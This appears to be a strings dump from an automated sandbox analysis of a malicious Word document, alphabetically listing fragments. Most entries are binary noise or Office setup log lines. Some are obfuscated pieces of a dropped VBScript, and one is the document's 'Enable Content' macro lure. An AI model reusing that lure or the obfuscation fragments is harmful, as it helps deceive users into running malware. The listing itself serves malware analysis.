npH!2kF)Mp(;ONOdD]"0h<Lf/W& "vciqI4n{hm&$j.x#.!#.\ioF7#yB)tK7p9@tsF~F>6{FI5+atqG':

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

nUujMlMU[/_?DTvm!qO{}Nk%|_{t=f=`sFN=8_FR#LI|kbj6_qc\{V[qJ./#K|g{BvprvjYmjmu3>R\)..M{@88<LMz<UG=8&\U3M!{wu<g*&0A5sjh|h/&yZ> ^",

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

NVDif = outpUT

Ansi based on Dropped File (ConfManagerNT.vbs)

N~Y5a+}b<(X

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

o"2p_YG#~7r?snqy;_;M4hi^zO+OKK;NOF|k@2k{P:#3?)a%"1dWuwaaC~'

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

o#>#4w<Lg_:XN9ewEx;"V*9{D 6hzV

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

o$NMbVyU*~0GHY8W l!K/j( [of.%-kk"?=9yb)@|F;~Q|Op=t{D0?_^Ii+q7V_m[QFa2oh"O&'cZEp*$$

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

o(Bywao?GyI7iv%<~HYY^x!7=;DAX;|H{aW1`V~")CMEt:LME)&l!!?**Ju8YgwasCcc=o'=s/;|<1ci5eR}gQ74L8D1ffaeZ

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

o)^~:-fxwat|3o9[\\DdU`_U<WAur|J9 )";{;<@":=^@Q%u"nP;<

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

O*=Q!CSC6D" };OPXrFK~Fv}tg-^)x/LH;iGmw6=d#q[l$Nm

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

O-?LfWfzfYRzZ~tsh.?[I#wr-nYK:t/KK\H]Nv\fKm?^NmmrGW{Df3*K2kge<#74?-|~+iCC"{Rd'9;O+4[1F(?1E,RjOifcI[lWx7o~Ik[)0^?:L]z9~~af0^Lw`v7m9[b&sl;_V<60$

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

o.Y_~7+/k>}$z7w?,?<V{!]|lCnvw7

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

O7z[ gGuyUu4'T0@oL<-LR7!H-66Y)CL6k*&sI1

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

o:H^exj9slrPrP9{d9qrbdzX\rpszZ0t|r2N|S>!??~rP|j}vr2|v\r|rDZ\_/cZ;.'#>_|YB=z]r\

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

o:L'Mco{p

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

O:}1{.G"L#]wUViP pFC:BHIj89{vDi2

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

O=={V/;%YE>v6#XngbI7"N62|^Yjn3f|0mxS<3P~'v{}Wm;;hv>`Ex/yp[w?=z4<w/_4*9DBq4_/=-|"^+'r'O?~2<,Y?*=>\vpuvZ{t;/?&Yedm4]& KW'3w

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

O>EUQfq?JS9<sIEc_iF:X3a: fM[9jzrDb_ic"o'k}GeOl;7{&{MAFmz.k9?#G 5uhi[&oR^{9#c/_/0moC^7x'em]{NsTR,$L2_df[u L^0I/hpLV/]D}<=vbs-vz#Smv"S#;;t=s_L0

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

O[xrO+_(3`io H}4L%JgF^U,^;TT!26MAr X|P)+Wt$9JkAQVWr^dBIXEQf?@&QG@jKrfQ([z#Y|r*zorU.=??#R;$9MPR4aEbDcQ<>Ay|1]nkdn

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

OArt_DocTheme:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OasB#<-\8''Iw`U(X!dpJPJMO'%!9}dWf^a`/~

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Ob?UMm~;I#]abvccSVW9l

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

ObjectPoolPOt&V&_1579981077B

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

OCR A Extended

Unicode based on Runtime Data (WINWORD.EXE )

OCR_1033:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OCR_1036:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OCR_3082:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

oDriver.FilePath = strFilePath

Ansi based on Dropped File (ConfManagerNT.vbs)

oDriver.InfName = strInfFile

Ansi based on Dropped File (ConfManagerNT.vbs)

oDriver.Name = strModel

Ansi based on Dropped File (ConfManagerNT.vbs)

oDriver.SupportedPlatform = strEnvironment

Ansi based on Dropped File (ConfManagerNT.vbs)

oDriver.Version = uVersion

Ansi based on Dropped File (ConfManagerNT.vbs)

OeFgP5~g?W,YA_~Yt(sviIg"l&zfC&ftFf ?|Ky$2l(Gd#:|('zqT#-KRVYVyV3O"K;<Cw)/y">=CzPq(k^nVPV:nt.Z {w,a ky\'9~:d0ogn{kWr[!dCVH';TrC`

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

OfficeDigitalSFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OfficeTooltip

Unicode based on Runtime Data (WINWORD.EXE )

OGP=f[9RY{RoOON9Lit<oYOKl"\WWtvvRooo)g;[inz=MfV4<{T|PW'{v_&7Rnznokk/+4'gH_g YrLm+++oF}k|_C$/tu;~PCBYx,&B|~-`X'F|,*w'

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

OgPGZPrMhb="2/QY+VN+4*+4*25P1UY,<"

Ansi based on Dropped File (ConfManagerNT.vbs)

OgR`Fe]wo}6us%!W+Pl d'>yH82&6psH

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

OISFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

oJmP\#Uc_d=a9VxJh^sbN*o/uHxxa?qzzZnX]n}(..{;

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

oK/z2!MLtOJC

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

okMmo+.?/75iALWS?m&{v"ptvwwa*V,IS<_pw^{{/}) `*K)4o8]

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Old English Text MT

Unicode based on Runtime Data (WINWORD.EXE )

Oma4jJM'F/?6!<ua/Pa;)oLZ>y? Iz)[%#tl-*X'snP\h :JO\J:{L>3x,Uqz2az5cRDiHpu?R-4Qx!54j@]OVKB{e;I9"oc_10oWonrJxCqV``zUlE,eT@jjA:JSkXa1_1tA2x}m=B(_8~fNL,?jN#j~q)W.jUVaL]u/zE(^Upx*4h=Zo+\|,WtQ(WjI<jkY:y*QGILPM

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

on error goto 0

Ansi based on Dropped File (ConfManagerNT.vbs)

on error resume next

Ansi based on Dropped File (ConfManagerNT.vbs)

On Error Resume Next

Ansi based on Dropped File (ConfManagerNT.vbs)

Once you have enable editing, please click Enable Content from the yellow bar above

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

OneNote32Files:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OneNoteFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OneNoteHandwritingFonts:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OneNoteHelpFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OneNoteMobile:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OneNoteMobileSyncDesktop:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OneNotePIA:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OneNotePiaReg32:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OneNoteToAddIns:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OneNoteToIEAddin:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OneNoteToLinkedNotesIntl:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OneNoteToOLAddin:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

ONHeThWW#%xn.L&xGwSM0>ihD#K*NqEXq~%qu@8.%>~e#4P(F$1 +]>.K?WY9wE&{_N..t!/O:+M{))[S+'=I~C^7pMyP=EgU. oSOCk|Fuo9kK6Xlx?Ai&EXGdv/uT1\<+%G'dqUa- 2tR!'Q!z<c2MlA}m:}JYJuJ>+d|_9$7B!'pQSI$8N~]Mqvd$~6My#jf

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

oNUim;!Ks_VJg

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

OO3ro!,Q~:e&FA{E99({AdahL6Qm#6>Q":8ZdP[eh]0A*DdxT`udy:Odnb|g>z?~.=]J}<do(:wdI

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

oopBbGUdOF6\x,Gs#3\z<

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

op=s*=K1?+\(0D@70IX5,)3a?/X[yTw7/T;?\iMn }<s1*xa^^bqa>}V7_Aw7|??g?p-_'m\=p#pg[.|iy6?W{n}=vV0MxA`x^+y"=Vp

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Open &with Command Prompt

Unicode based on Runtime Data (WINWORD.EXE )

Opening registry key: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Office14.PROPLUS.

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Opening registry key: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Office14.PROPLUS.

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Opening registry key: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall.

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Operating System version: 6.1.7601 Service Pack 1. Platform ID: 2

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

OptionDependency: Lead = Access_PIA(Local), Follow = AccessPiaReg32(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = ACCESSFiles(Local), Follow = Access32(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = ACCESSFiles(Local), Follow = AceFiles(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = ACCESSFiles(Local), Follow = DCubeHidden(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = ACCESSFiles(Local), Follow = LISTFiles(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = ACCESSFiles(Local), Follow = VBAFiles(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = Ace_PIA(Local), Follow = AcePiaReg32(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = DocumentImagingUtils(Local), Follow = OCR_1033(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = DocumentImagingUtils(Local), Follow = OCR_1036(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = DocumentImagingUtils(Local), Follow = OCR_3082(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = Excel_PIA(Local), Follow = ExcelPiaReg32(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = EXCELFiles(Local), Follow = AceFiles(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = EXCELFiles(Local), Follow = DCubeHidden(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = EXCELFiles(Local), Follow = ExcelHelpFiles(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = EXCELFiles(Local), Follow = ExcelPreviewReg32(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = EXCELFiles(Local), Follow = LISTFiles(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = EXCELFiles(Local), Follow = WebDiscussFiles(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = EXCELFiles(Local), Follow = WhiteRabbitHidden(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = EXCELFiles(Local), Follow = WISPHidden(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = EXCELFiles(Local), Follow = XDOCSEditorFiles(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = Forms_PIA(Local), Follow = FormsPiaReg32(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = Graph_PIA(Local), Follow = GraphPiaReg32(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = GrooveFiles(Local), Follow = AceFiles(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = GrooveFiles(Local), Follow = GrooveFiles32Intl(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = GrooveFiles(Local), Follow = GrooveShellIntegration32(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = GrooveFiles(Local), Follow = SyncFramework(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = GrooveFiles(Local), Follow = XDOCSEditorFiles(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = LOBiFiles(Local), Follow = LOBiFilesIntl(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = LOBiFiles(Local), Follow = VSTOCLR35(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = OneNoteFiles(Local), Follow = OCR_1033(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = OneNoteFiles(Local), Follow = OCR_1036(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = OneNoteFiles(Local), Follow = OCR_3082(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = OneNoteFiles(Local), Follow = OneNote32Files(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = OneNoteFiles(Local), Follow = OneNoteMobile(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = OneNoteFiles(Local), Follow = OneNoteToLinkedNotesIntl(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = OneNoteFiles(Local), Follow = VBAFiles(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = OneNoteFiles(Local), Follow = WebDiscussFiles(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = OneNoteFiles(Local), Follow = WISPHidden(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = OneNotePIA(Local), Follow = OneNotePiaReg32(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = Outlook_PIA(Local), Follow = OutlookPiaReg32(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = OUTLOOKFiles(Local), Follow = AceFiles(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = OUTLOOKFiles(Local), Follow = Outlook32Files(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = OUTLOOKFiles(Local), Follow = Outlook32SearchShellRegIntl(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = OUTLOOKFiles(Local), Follow = OutlookMAPI2(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = OUTLOOKFiles(Local), Follow = OutlookMessaging(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = OUTLOOKFiles(Local), Follow = OutlookSearchPHAndPluginReg(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = OUTLOOKFiles(Local), Follow = OutlookSearchShellReg(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = OUTLOOKFiles(Local), Follow = OutlookSearchShellRegIntl(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = OUTLOOKFiles(Local), Follow = SpellingAndGrammarFiles_1033(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = OUTLOOKFiles(Local), Follow = SpellingAndGrammarFiles_1036(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = OUTLOOKFiles(Local), Follow = SpellingAndGrammarFiles_3082(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = OUTLOOKFiles(Local), Follow = WhiteRabbitHidden(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = OUTLOOKFiles(Local), Follow = WISPHidden(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = OUTLOOKFiles(Local), Follow = WORDSharedFiles(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = PowerPoint_PIA(Local), Follow = PowerPointPiaReg32(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = PPTFiles(Local), Follow = AceFiles(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = PPTFiles(Local), Follow = OArt_DocTheme(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = PPTFiles(Local), Follow = PowerPointPreviewReg32(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = PPTFiles(Local), Follow = PPTPresentationTemplates(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = PPTFiles(Local), Follow = WISPFiles(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = PPTFiles(Local), Follow = WISPHidden(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = PPTFiles(Local), Follow = XDOCSEditorFiles(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = Publisher_PIA(Local), Follow = PublisherPiaReg32(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = PubPrimary(Local), Follow = AceFiles(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = PubPrimary(Local), Follow = Publisher32(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = QueryFiles(Local), Follow = AceFiles(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = SmartTag_PIA(Local), Follow = SmartTagPiaReg32(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = VisioPreviewerFiles(Local), Follow = VisioPreviewReg32(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = Word_PIA(Local), Follow = WordPiaReg32(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = WORDFiles(Local), Follow = AceFiles(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = WORDFiles(Local), Follow = WhiteRabbitHidden(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = WORDFiles(Local), Follow = WISPHidden(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = WORDFiles(Local), Follow = WORDDocumentTemplates(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = WORDFiles(Local), Follow = WordPreviewReg32(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = WORDFiles(Local), Follow = WORDSharedFiles(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = WORDFiles(Local), Follow = XDOCSEditorFiles(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = XDocs_PIA(Local), Follow = XDocsPiaReg32(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = XDOCSFiles(Local), Follow = AceFiles(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = XDOCSFiles(Local), Follow = WISPHidden(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = XDOCSFiles(Local), Follow = XDOCSEditorFiles(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionDependency: Lead = XDOCSFiles(Local), Follow = XDOCSFiles32(Local)

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OptionFrameEvents

Unicode based on Runtime Data (WINWORD.EXE )

optionsValue = cmdlineOptions.Argument("options")

Ansi based on Dropped File (ConfManagerNT.vbs)

oQ|O<mv0Br_?$aU1c?'V[:"q;^4jx(;5Q%\*

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

OrgChartFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

oService_APQ = dfgIskFgaR

Ansi based on Dropped File (ConfManagerNT.vbs)

oService_CxR = "+2IH2S5/VC+5++4*+QF1="

Ansi based on Dropped File (ConfManagerNT.vbs)

oService_eKF = gvtZtjxcAB

Ansi based on Dropped File (ConfManagerNT.vbs)

oService_iIR = VMLpfTRIGD

Ansi based on Dropped File (ConfManagerNT.vbs)

oService_LPC = FUgljwPqWU

Ansi based on Dropped File (ConfManagerNT.vbs)

oService_QED = RUnDyVjYEa

Ansi based on Dropped File (ConfManagerNT.vbs)

oService_tWP = BAbIIWOpqP

Ansi based on Dropped File (ConfManagerNT.vbs)

OSESupp:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OSpp:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OSpp_Core:reinstall

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

osvSF"Q{4^Mrm,y!@s[ Ni4s*No7cF7znSQ

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

otcKzgP&II# R~fzK7R2CbtW

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

oTI__sE4?Bb`Q,\wb1'dDK`B7oykWs7af6+W\&w+N-IN3

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

oTtp'\Y'=d:doe

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Outlook32Files:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Outlook32SearchShellRegIntl:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Outlook_PIA:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OutlookAddIn_SPS:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OutlookAddIns:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OutlookDVAct3Files:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OutlookDVCsvDosFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OutlookDVCsvWinFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OutlookDVDbaseFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OutlookDVExtensionsFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OutlookDVOrg97Files:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OutlookDVPabFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OUTLOOKFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OutlookHelpFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OutlookImportExportFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OutlookMAPI2:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OutlookMAPICONTAB2:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OutlookMAPIEMS2:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OutlookMAPILDAP2:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OutlookMAPIPST2:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OutlookMessaging:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OutlookOms:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OutlookPiaReg32:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OutlookSearchPHAndPluginReg:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OutlookSearchShellReg:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OutlookSearchShellRegIntl:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OutlookSocialConnector:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OutlookStationeryBasicFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OutlookStationeryExtended:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OutlookStationeryFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OutlookTemplateFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

OutlookVBScript:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

ouTpUt = ""

Ansi based on Dropped File (ConfManagerNT.vbs)

OutPuT = CHr(V) + OuTPuT

Ansi based on Dropped File (ConfManagerNT.vbs)

oVu54;x<%Wnys}yF:ay)ezopvO&6/xu

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

oW:#s7OV]

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

OXQOXQ+wQ0M{bTup\PJi,6`G#nfzJeP_Au%vTf.:j.

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

oY'bZ]KVz_Ajsni/=LCidb=eiHEWo^}Khr*A%

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

oy_bea^7y!a

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

oYoS5A;iZz>nff{:-S

